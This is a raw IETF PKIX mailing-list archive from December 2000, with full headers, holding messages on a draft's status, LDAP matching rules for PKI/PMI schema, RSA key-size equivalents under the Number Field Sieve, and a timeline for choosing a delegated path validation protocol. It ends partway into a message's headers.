	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA25239
	for <pkix-archive@odin.ietf.org>; Thu, 14 Dec 2000 08:56:58 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA16652;
	Thu, 14 Dec 2000 05:52:55 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 05:52:41 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA16619
	for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 05:52:37 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id KAA00857;
	Thu, 14 Dec 2000 10:52:51 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Denis. Pinkas" <Denis.Pinkas@bull.net>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: Which is the Permanent Identifier draft's current status ?
Date: Thu, 14 Dec 2000 10:53:13 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEECNCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

On the PKIX WG Agenda at San Diego Meeting, I was reading about "Permanet
Identifier " :

"...This document is stable and ready for progression to RFC status.
This discussion will center on the strategy for progressing this
document..."

What happened with this discussion and which is the draft's current status?

best regards

Juan Carlos



From owner-ietf-pkix@imc.org  Thu Dec 14 11:34:31 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA26405
	for <pkix-archive@odin.ietf.org>; Thu, 14 Dec 2000 11:34:31 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA29543;
	Thu, 14 Dec 2000 08:30:32 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 08:30:18 -0800
Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29498
	for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 08:30:17 -0800 (PST)
Received: from salford.ac.uk ([207.137.72.219])
	by ns1.49thietf.org (8.9.3+Sun/8.9.3) with ESMTP id IAA09075;
	Thu, 14 Dec 2000 08:33:04 -0800 (PST)
Message-ID: <3A38F6C7.B2E0E0F5@salford.ac.uk>
Date: Thu, 14 Dec 2000 16:35:19 +0000
From: David Chadwick <d.w.chadwick@salford.ac.uk>
Organization: University of Salford
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: PKIX <ietf-pkix@imc.org>, "OSI X.500" <osidirectory@az05.bull.com>
Subject: Matching rules for LDAP
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms26BA014E715AD9519BE58B07"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a cryptographically signed message in MIME format.

--------------ms26BA014E715AD9519BE58B07
Content-Type: multipart/mixed;
 boundary="------------1EEF859821069F91D1C8C3E1"

This is a multi-part message in MIME format.
--------------1EEF859821069F91D1C8C3E1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

At the PKIX meeting yesterday there was insufficient time to go through
all the proposed agenda items. One topic that fell off the bottom was
new LDAP schema for PKIs and PMIs. I had prepared a presentation listing
a number of topics that need to be resolved, so I reproduce these here
below, so that we can get some discussion of them on the list.

Should we separate the PKI schema from the PMI schema and create two
separate IDs.

We Need OID allocations from the LDAPEXT group (this is not so much an
issue as "job to be done")

Do we need the full richness of the X.500 matching rules or can we use a
subset of them
e.g. can we use name constraints based on whole subtrees rather than on
chopped subtrees

Do we need to add matching rules for cross certificates and/or S/MIME
certificates

A bug was found in X.509 (the attribute certificate syntax and the exact
match syntax are different). Have the X.509 group fixed the ASN.1 for
Geneva? And has new text been added as well. (Maybe Sharon can advise on
this)

Should we allow LDAP attribute names to be used instead of OIDs to
reference attributes in attribute certificate matching

X.509 has used different matching methods for PKIs and PMIs. PKI has one
complex flexible matching rule holding most standard extensions. PMI has
a separate matching rules for each extension. Do we want to use the
X.509 method or alternatively use the same method for both PKIs and
PMIs. Personnally I think X.509 got it wrong here, and should have
devised separate matching rules for each extension for both PKIs and
PMIs. Then when new extensions are defined, new LDAP matching rules can
be defined to go with them.

How many extension matching rules should we define for PMIs.
none, the most popular ones (which are they), or all?

This should give folks enough to think about whilst I take the plane
home later today

David


-- 
*****************************************************************

David Chadwick, BSc PhD
Post: IS Institute, University of Salford, Salford M5 4WT
Tel: +44 161 295 5351  Fax +44 161 745 8169
Mobile: +44 790 167 0359
Email: D.W.Chadwick@salford.ac.uk
Home Page:  http://www.salford.ac.uk/its024/chadwick.htm
Research Projects: http://sec.isi.salford.ac.uk
Understanding X.500:  http://www.salford.ac.uk/its024/X500.htm
X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm
Entrust key validation string: MLJ9-DU5T-HV8J

*****************************************************************
--------------1EEF859821069F91D1C8C3E1
Content-Type: text/x-vcard; charset=us-ascii;
 name="d.w.chadwick.vcf"
Content-Description: Card for David Chadwick
Content-Disposition: attachment;
 filename="d.w.chadwick.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Chadwick;David
tel;fax:+44 1484 532930
tel;home:+44 790 167 0359
tel;work:+44 161 295 5351
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:d.w.chadwick@salford.ac.uk
x-mozilla-cpt:;-16144
fn:David Chadwick
end:vcard

--------------1EEF859821069F91D1C8C3E1--

--------------ms26BA014E715AD9519BE58B07
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
Content-Transfer-Encoding: base64

MIIEvwYJKoZIhvcNAQcCoIIEsDCCBKwCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
AxcwggMTMIICfKADAgECAgEfMA0GCSqGSIb3DQEBBAUAMEkxDzANBgNVBAcTBkV1cm9wZTEQ
MA4GA1UEChMHSUNFLUNBUjEkMCIGA1UECxMbQXV0aGVudGljYXRpb24gQ2VydGlmaWNhdGVz
MB4XDTk5MDkzMDEyMTExMVoXDTAwMTIzMDAwMDAwMFowezELMAkGA1UEBhMCR0IxHjAcBgNV
BAoTFVVuaXZlcnNpdHkgb2YgU2FsZm9yZDEhMB8GA1UEAxMYRHIgRGF2aWQgV2FsdGVyIENo
YWR3aWNrMSkwJwYJKoZIhvcNAQkBFhpkLncuY2hhZHdpY2tAc2FsZm9yZC5hYy51azCBnzAN
BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAnIfPtbcLPwxO+2KPpVtB5s41FSFfWVJ7SPIcWXPQ
Q0twP0ELmu0YDyO/mzcobKSlmAy41FCytifLWPLaUQR+y4JuTkfyWTN5qTGQrGYTxVYaXr4u
AcdG5CLa95H3UM9yjPxSoMrO4UdZo88fmmkW1r5MXj8eUfnbLCRP35nxqusCAwEAAaOB2DCB
1TBDBgNVHSMEPDA6oTWCM09VPUF1dGhlbnRpY2F0aW9uIENlcnRpZmljYXRlcywgTz1JQ0Ut
Q0FSLCBMPUV1cm9wZYIBADAdBgNVHQ4EFgQUu7E9QyYiHlmvKfB7Ru3luLnZjgYwDgYDVR0P
AQH/BAQDAgTwMAwGA1UdEwEB/wQCMAAwEQYJYIZIAYb4QgEBBAQDAgCgMD4GCWCGSAGG+EIB
DQQxFi9JQ0UtQ0FSIGF1dGhlbnRpY2F0aW9uIGNlcnRpZmljYXRlCihjKSBHTUQgMTk5ODAN
BgkqhkiG9w0BAQQFAAOBgQBtP3vNSltv/Ds4cQgL9SbcWZL8l+eVXvIpHMNSbnKwjXbGHVPN
4Vi0ymXqrtGt9C2bbSPVfTyeLSQFbBCkHCPqX+AtWHTkRzL3z6QaOXjf9H3eyCoaUGh7Seuw
UnKiWLWUPpSolCHDACfzal883VaJXLTyXEmR/WgWWes2Oy8W7jGCAXAwggFsAgEBME4wSTEP
MA0GA1UEBxMGRXVyb3BlMRAwDgYDVQQKEwdJQ0UtQ0FSMSQwIgYDVQQLExtBdXRoZW50aWNh
dGlvbiBDZXJ0aWZpY2F0ZXMCAR8wCQYFKw4DAhoFAKB6MBgGCSqGSIb3DQEJAzELBgkqhkiG
9w0BBwEwGwYJKoZIhvcNAQkPMQ4wDDAKBggqhkiG9w0DBzAcBgkqhkiG9w0BCQUxDxcNMDAx
MjE0MTYzNTE5WjAjBgkqhkiG9w0BCQQxFgQUuxblfRkaOzJKQCUK3M3q/Htjp5wwDQYJKoZI
hvcNAQEBBQAEgYAb8LRWydW/mGFvADy03Q63nGymx8vJXvqx61/UkuDQQmMg3cVvlpdccsWQ
hKRj8kDKJTrXTxlvrSt2ZN++cEsFC3ldxSSkG346Rez1zgQQdra6pEvsXLeVjnzj9L+Qfg0P
7x8HfMKt8aoKe8qeobTLbI/96CnP+S1zG2Xy4ip/ng==
--------------ms26BA014E715AD9519BE58B07--



From owner-ietf-pkix@imc.org  Thu Dec 14 13:00:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08445
	for <pkix-archive@odin.ietf.org>; Thu, 14 Dec 2000 13:00:18 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA03288;
	Thu, 14 Dec 2000 09:54:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 09:52:25 -0800
Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA02888;
	Thu, 14 Dec 2000 09:52:24 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com
	with Novell_GroupWise; Thu, 14 Dec 2000 10:54:38 -0700
Message-Id: <sa38a6ee.052@prv-mail20.provo.novell.com>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Thu, 14 Dec 2000 10:54:34 -0700
From: "Bob Jueneman" <bjueneman@novell.com>
To: <FRousseau@chrysalis-its.com>, <ietf-smime@imc.org>,
        <ietf-tls@lists.certicom.com>, <ipsec@lists.tislabs.com>
Cc: <ietf-pkix@imc.org>
Subject: Re: New Time and Space Based Key Size Equivalents for RSA and
	Diffie-Hellman
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_2C77224E.31502339"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_2C77224E.31502339
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Francois,

I haven't followed the latest thinking on breaking algorithms such as RSA, =
so I'll take your word for the fact that the Number Field Sieve is =
currently the most efficient algorithm.  But isn't it at least possible =
that there might be other methods that although  less efficient than the =
NFS on a single machine, might be more well-suited to a distributed =
attack?  Likewise, would other algorithms be less constrained by a 64-bit =
addressing limitation?

Interesting point, though, in any case.

Regards,

Bob

Robert R. Jueneman
Security Architect
Novell, Inc.


>>> <FRousseau@chrysalis-its.com> 12/13/00 10:36PM >>>

I am sorry for the multiple postings, but I thought this particular =
subject, although probably quite controversial, might be of interest to =
the many peoples following these mailing lists, especially because of the =
upcoming adoption of the AES algorithm by many IETF protocols.
As symmetric keys grow, they can be attacked by more processors without a =
change in processor technology since the memory requirements for breaking =
symmetric keys remain trivial.  However, for the Number Field Sieve (NFS) =
algorithm, which is currently the most efficient method to break RSA keys, =
this is not true.  Based on this premise, the "time and space" based RSA =
key size equivalents previously published in the RSA Labs Bulletin #13 of =
April 2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have =
recently been extended to cover all the AES symmetric key sizes in the =
latest draft of ANSI X9.44, which will eventually become the ANSI standard =
for RSA key transport:
                        Time and Space=20
Symmetric               Equivalent=20
Key Size                RSA Key Size=20
(in bits)               (in bits)=20
64                      450=20
128                     1620=20
192                     2500=20
256                     4200=20
These "time and space" based key sizes equivalents assume that both time =
and memory are binding constraints in order to break RSA keys.  This same =
draft also indicates that beyond RSA key sizes of 768 bits one can no =
longer effectively utilize 32-bit processors with the NFS algorithm =
because the required memory exceeds what can be addressed in 32 bits; one =
is forced to use 64-bit machines.  Beyond RSA key sizes of about 2500 =
bits, the memory requirements for the NFS algorithm exceed what can be =
addressed even on 64 bit machines.
For your information, here are also the estimated "time" only based RSA =
key size equivalents for solving the NFS problem from the same ANSI draft:
                        Time Only=20
Symmetric               Equivalent=20
Key Size                RSA Key Size=20
(in bits)               (in bits)=20
64                      512=20
128                     2550=20
192                     6700=20
256                     13500=20
Note that either of these sets of RSA key size equivalents could be used =
with Diffie-Hellman for solving the value of "p" since the NFS algorithm =
is also the most efficient method to break Diffie-Hellman algorithm today. =
 Note also that these time only equivalents numbers are slightly smaller =
than those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 =
bits, 6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the =
numbers in Hilarie Orman's Internet Draft (i.e. draft-orman-public-key-leng=
ths-01.txt).
Shouldn't IETF standards mention these new "time and space" based key size =
equivalents in addition to existing "time" only based key size equivalents,=
 and possibly even suggest that "time and space" based key size equivalents=
 be used for RSA and Diffie-Hellman?  Why mandate larger equivalent key =
sizes when smaller equivalent key sizes can probably suffice?
Food for thought!=20
Cheers,=20
Francois=20
___________________________________=20
Francois Rousseau=20
Director of Standards and Conformance=20
Chrysalis-ITS=20
1688 Woodward Drive=20
Ottawa, Ontario, CANADA, K2C 3R7=20
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419=20
http://www.chrysalis-its.com     Fax. (613) 723-5078=20

--=_2C77224E.31502339
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"=
>
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY style=3D"MARGIN-TOP: 2px; FONT: 8pt MS Sans Serif; MARGIN-LEFT: =
2px">
<DIV><FONT size=3D2>Francois,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>I haven't followed the latest thinking on breaking =
algorithms=20
such as RSA, so I'll take your word for the fact that the Number Field =
Sieve is=20
currently the most efficient algorithm.&nbsp; But isn't it at least =
possible=20
that there might be other methods that although&nbsp; less efficient than =
the=20
NFS on a single machine, might be more well-suited to a distributed=20
attack?&nbsp; Likewise, would other algorithms be less constrained by a =
64-bit=20
addressing limitation?</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Interesting point, though, in any case.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Regards,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Bob</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Robert R. Jueneman</FONT></DIV>
<DIV><FONT size=3D2>Security Architect</FONT></DIV>
<DIV><FONT size=3D2>Novell, Inc.</FONT></DIV>
<DIV><BR><BR>&gt;&gt;&gt; &lt;FRousseau@chrysalis-its.com&gt; 12/13/00 =
10:36PM=20
&gt;&gt;&gt;<BR></DIV>
<P><FONT size=3D2>I am sorry for the multiple postings, but I thought =
this=20
particular subject, although probably quite controversial, might be of =
interest=20
to the many peoples following these mailing lists, especially because of =
the=20
upcoming adoption of the AES algorithm by many IETF protocols.</FONT></P>
<P><FONT size=3D2>As symmetric keys grow, they can be attacked by more =
processors=20
without a change in processor technology since the memory requirements =
for=20
breaking symmetric keys remain trivial.&nbsp; However, for the Number =
Field=20
Sieve (NFS) algorithm, which is currently the most efficient method to =
break RSA=20
keys, this is not true.&nbsp; Based on this premise, the "time and space" =
based=20
RSA key size equivalents previously published in the RSA Labs Bulletin #13 =
of=20
April 2000 by Robert Silverman (<A target=3D_blank=20
href=3D"http://www.rsalabs.com/bulletins/">http://www.rsalabs.com/bulletins=
/</A>)=20
have recently been extended to cover all the AES symmetric key sizes in =
the=20
latest draft of ANSI X9.44, which will eventually become the ANSI standard =
for=20
RSA key transport:</FONT></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3D2>Time and =
Space</FONT>=20
<BR><FONT size=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT> <BR><FONT=20
size=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT> <BR><FONT=20=

size=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT> </P>
<P><FONT size=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450</FONT> <BR><FONT=20
size=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1620</FONT> <BR><FONT=20
size=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2500</FONT> <BR><FONT=20
size=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4200</FONT> </P>
<P><FONT size=3D2>These "time and space" based key sizes equivalents =
assume that=20
both time and memory are binding constraints in order to break RSA =
keys.&nbsp;=20
This same draft also indicates that beyond RSA key sizes of 768 bits one =
can no=20
longer effectively utilize 32-bit processors with the NFS algorithm =
because the=20
required memory exceeds what can be addressed in 32 bits; one is forced to =
use=20
64-bit machines.&nbsp; Beyond RSA key sizes of about 2500 bits, the =
memory=20
requirements for the NFS algorithm exceed what can be addressed even on 64 =
bit=20
machines.</FONT></P>
<P><FONT size=3D2>For your information, here are also the estimated "time" =
only=20
based RSA key size equivalents for solving the NFS problem from the same =
ANSI=20
draft:</FONT></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3D2>Time Only</FONT>=
=20
<BR><FONT size=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT> <BR><FONT=20
size=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT> <BR><FONT=20=

size=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT> </P>
<P><FONT size=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 512</FONT> <BR><FONT=20
size=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2550</FONT> <BR><FONT=20
size=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6700</FONT> <BR><FONT=20
size=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13500</FONT> </P>
<P><FONT size=3D2>Note that either of these sets of RSA key size equivalent=
s could=20
be used with Diffie-Hellman for solving the value of "p" since the NFS =
algorithm=20
is also the most efficient method to break Diffie-Hellman algorithm =
today.&nbsp;=20
Note also that these time only equivalents numbers are slightly smaller =
than=20
those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, =
6700=20
vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in =
Hilarie=20
Orman's Internet Draft (i.e. draft-orman-public-key-lengths-01.txt).</FONT>=
</P>
<P><FONT size=3D2>Shouldn't IETF standards mention these new "time and =
space"=20
based key size equivalents in addition to existing "time" only based key =
size=20
equivalents, and possibly even suggest that "time and space" based key =
size=20
equivalents be used for RSA and Diffie-Hellman?&nbsp; Why mandate =
larger=20
equivalent key sizes when smaller equivalent key sizes can probably=20
suffice?</FONT></P>
<P><FONT size=3D2>Food for thought!</FONT> </P>
<P><FONT size=3D2>Cheers,</FONT> </P>
<P><FONT size=3D2>Francois</FONT> <BR><FONT=20
size=3D2>___________________________________</FONT> <BR><FONT size=3D2>Fran=
cois=20
Rousseau</FONT> <BR><FONT size=3D2>Director of Standards and Conformance</F=
ONT>=20
<BR><FONT size=3D2>Chrysalis-ITS</FONT> <BR><FONT size=3D2>1688 Woodward=20=

Drive</FONT> <BR><FONT size=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT> =
<BR><FONT=20
size=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613)=20
723-5076 ext. 419</FONT> <BR><FONT size=3D2><A target=3D_blank=20
href=3D"http://www.chrysalis-its.com">http://www.chrysalis-its.com</A>&nbsp=
;&nbsp;&nbsp;&nbsp;=20
Fax. (613) 723-5078</FONT> </P></BODY></HTML>

--=_2C77224E.31502339--


From owner-ietf-pkix@imc.org  Thu Dec 14 18:45:33 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18914
	for <pkix-archive@odin.ietf.org>; Thu, 14 Dec 2000 18:45:32 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA20468;
	Thu, 14 Dec 2000 15:41:48 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 15:40:17 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20401
	for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 15:40:17 -0800 (PST)
Received: from [171.78.30.111] (dhcp030-111.genuity.com [171.78.30.111])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA10732
	for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 18:43:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com (Unverified)
Message-Id: <v04220800b65e9d9c997f@[128.33.238.82]>
Date: Thu, 14 Dec 2000 18:45:52 -0500
To: pkix list <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: a path forward on DPD & DPV
Content-Type: multipart/alternative; boundary="============_-1235284935==_ma============"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--============_-1235284935==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

During this week's IETF, Tim and I held  several meetings with the 
authors of the drafts for SCVP and for the OCSP v2 extensions that 
deal with delegated path discovery and validation. We have arrived at 
the following procedure and time line for selecting a single solution 
from these competing protocols.

1. I will send a message examining the rationales for developing 
facilities to support delegated path discovery (DPD) and validation 
(DPV). This message will propose requirements and criteria for 
evaluating proposed solutions that offer these services, and will be 
issued before the end of this month. Many of the issues discussed in 
this message were presented at the WG meeting on Tuesday afternoon.

2. The WG will discuss the proposed requirements and evaluation 
criteria during January and we will reach closure by the end of the 
month, with a final set of requirements and criteria. During this 
time, advocates for each solution may refine their proposals to track 
the evolving requirements and criteria.

3. During February, the proponents of each approach will have an 
opportunity to revise their proposals to better match the finalized 
requirements and criteria, and to present arguments demonstrating how 
their proposals meet the requirements and evaluation criteria.

4. By the first (full) week of March the WG will select a single 
protocol as the standard. If the WG chairs do not feel that (rough) 
consensus has been achieved, a straw poll will be conducted. This 
should constitute WG last call, since the selected protocol document 
should be stable and thoroughly reviewed.

This schedule permits a final decision to be reached prior to the 
next IETF meeting, which takes place 3/19-23, in Minneapolis. 
However, we probably will not manage to reach (or complete) IETF last 
call prior to this meeting, so we should not expect IESG approval 
until late April, at the earliest.

--============_-1235284935==_ma============
Content-Type: text/enriched; charset="us-ascii"

<fontfamily><param>Times</param><bigger><bigger>During this week's
IETF, Tim and I held  several meetings with the authors of the drafts
for SCVP and for the OCSP v2 extensions that deal with delegated path
discovery and validation. We have arrived at the following procedure
and time line for selecting a single solution from these competing
protocols.


1. I will send a message examining the rationales for developing
facilities to support delegated path discovery (DPD) and validation
(DPV). This message will propose requirements and criteria for
evaluating proposed solutions that offer these services, and will be
issued before the end of this month. Many of the issues discussed in
this message were presented at the WG meeting on Tuesday afternoon. 


2. The WG will discuss the proposed requirements and evaluation
criteria during January and we will reach closure by the end of the
month, with a final set of requirements and criteria. During this time,
advocates for each solution may refine their proposals to track the
evolving requirements and criteria.


3. During February, the proponents of each approach will have an
opportunity to revise their proposals to better match the finalized
requirements and criteria, and to present arguments demonstrating how
their proposals meet the requirements and evaluation criteria.


4. By the first (full) week of March the WG will select a single
protocol as the standard. If the WG chairs do not feel that (rough)
consensus has been achieved, a straw poll will be conducted. This
should constitute WG last call, since the selected protocol document
should be stable and thoroughly reviewed.


This schedule permits a final decision to be reached prior to the next
IETF meeting, which takes place 3/19-23, in Minneapolis. However, we
probably will not manage to reach (or complete) IETF last call prior to
this meeting, so we should not expect IESG approval until late April,
at the earliest.  
</bigger></bigger></fontfamily>

--============_-1235284935==_ma============--


From owner-ietf-pkix@imc.org  Fri Dec 15 01:08:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA27883
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 01:08:20 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA28026;
	Thu, 14 Dec 2000 22:04:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 22:04:35 -0800
Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA27993
	for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 22:04:33 -0800 (PST)
Received: from SHANTANU ([196.1.104.102]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id YPCFN77Y; Fri, 15 Dec 2000 11:33:31 +0530
Message-ID: <00da01c0665e$be492ec0$666801c4@fcpl.co.in>
From: "Shantanu Bhattacharya" <shantanu@elock.co.in>
To: <Undisclosed-Recipient:@ns.secondary.com;>
Subject: Change in job
Date: Fri, 15 Dec 2000 11:47:41 +0530
MIME-Version: 1.0
